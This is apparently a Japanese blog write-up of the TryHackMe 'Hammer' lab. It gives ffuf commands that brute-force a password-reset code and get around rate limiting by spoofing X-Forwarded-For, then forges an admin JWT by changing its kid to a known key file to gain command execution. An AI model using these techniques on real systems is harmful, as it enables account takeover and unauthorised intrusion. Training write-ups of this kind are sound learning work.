2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe WriteUp : Hammer

Posted at

導入

昨日行ったTryHackMeのチャレンジのwriteupになります。

このチャレンジは大きく2つのパートに分かれています。
1つ目が認証バイパス(Flag1)、2つ目はJWTの操作(Flag2)です。

  • 認証バイパスでは、レート制限を突破することがポイントになります。
  • JWTの操作では、トークン内の kid のパスを書き換えることで署名検証を突破します。

チャレンジ

Flag1: 認証バイパス

まず、ポートスキャンの結果を確認します。

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
MAC Address: 02:17:B9:CD:C8:09 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポート番号1337でWEBサーバが稼働しているので、調査を進めます。

スクリーンショット

/index.php は、シンプルなログインページです。
「Forgot your password?」からは /reset_password.php に遷移可能です。

さらに、/index.php のソースコードを確認すると、以下の記載が見つかりました。

<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->

この情報を基に「hmr_」をプレフィクスとしてディレクトリの列挙を行います。

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<TARGET>:1337/hmr_FUZZ -s

結果として、以下のディレクトリが見つかりました。

hmr_images
hmr_css
hmr_js
hmr_logs

これらのディレクトリを調査したところ、/hmr_logs/error_logs から以下のメールアドレスが取得できました。

tester@hammer.thm

このメールアドレスを /reset_password.php に入力すると、4桁のディジットの入力を求められます。これは、このメールアドレスが有効であることを示唆しています。
さらに、4桁の数字なので、制限機構がなければ総当たり攻撃が可能と推測できます。

まず、ワードリストを作成します。

seq 0000 9999 >> digits.txt

次に、以下のコマンドで総当たりを試みました。

ffuf -w digits.txt -u "http://<TARGET>:1337/reset_password.php" -X "POST" -d "recovery_code=FUZZ&s=60" -H "Cookie: PHPSESSID=<YOUR_SESSID_VALUE>" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -s

しかし、うまくいきません。

そこで、BurpSuiteのRepeaterで詳細を確認したところ、レスポンスヘッダに Rate-Limit-Pending が記載されており、この値が試行毎に1ずつ減少し、0になるとレート制限がかかることが分かりました。
Googleで調査しつつ、Repeaterで検証を重ねた結果、リクエスト毎に X-Forwarded-For ヘッダを独自に付与するとレート制限に引っかからないことが判明しました。
このヘッダの値はIPアドレス形式である必要はなく、単にFUZZの値をそのまま入れる形で総当たり攻撃が可能です。

参考リンク: HackTricks - Rate Limit Bypass

最終的なペイロードは以下の通りです。

ffuf -w digits.txt -u "http://<TARGET>:1337/reset_password.php" -X "POST" -d "recovery_code=FUZZ&s=60" -H "Cookie: PHPSESSID=<YOUR_SESSID_VALUE>" -H "X-Forwarded-For: FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -s

この攻撃により、有効なディジットが見つかり、新パスワードを設定することで管理者画面にアクセス可能になり、1つ目のフラグが取得できました。


Flag2: JWTの操作

スクリーンショット

管理者画面を調査すると、ユーザの入力をもとにOSコマンドが実行できる機能があります。しかし、様々な入力やフィルター回避テクニックを試しても、実行できたコマンドは ls のみでした。
ただし、188ade1.keyの内容は取得可能で、後に役立ちます。

{"output":"188ade1.key\ncomposer.json\nconfig.php\ndashboard.php\nexecute_command.php\nhmr_css\nhmr_images\nhmr_js\nhmr_logs\nindex.php\nlogout.php\nreset_password.php\nvendor\n"}

ここで、管理者画面にユーザのロールが指定されていることから、「高権限がないと制限なしでコマンドを実行できないのではないか」と考え、cookieのtokenとして付与されているJWTに着目しました。

jwt.io を利用してトークンをデコードした結果が以下の通りです。

スクリーンショット

まず試みたのは、roleuser から admin に変更してcookieにセットし、リクエストを送信することでしたが、署名検証で弾かれてしまいました。

その後、署名検証を回避する方法を色々試した結果、以下の手順で成功しました。

参考リンク: PortSwigger - JWT

  1. kid/var/www/html/188ade1.key に設定
  2. roleuser から admin に変更
  3. secret56058354efb3daa97ebab00fabd7a7d7(188ade1.key)に設定

/var/www/html/188ade1.keykid に使用した理由は、/dev/null が使用できない状況で、取得可能な(パスが分かり、ファイルの内容が分かる)ものを探した結果、適当だったからです。

スクリーンショット

上記のJWTをcookieのtoken値として使用し、コマンド実行を試みると、署名検証を突破して任意のコマンドが実行できるようになりました。
あとは、cat /home/ubuntu/flag.txt コマンドでフラグを取得するだけです。

あとがき

レート制限突破やJWTトークンの操作に関しては、ほとんど知見がありませんでした。しかし、日々の修行の成果か、自分なりに調べて検証することで、比較的早い段階で解決にたどり着けたと感じています。

その一方で、知識がない中で手探りで行っていくことが多く、まだまだ学ぶべきことが多いと感じました。これからも精進していきたいと思います。


2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?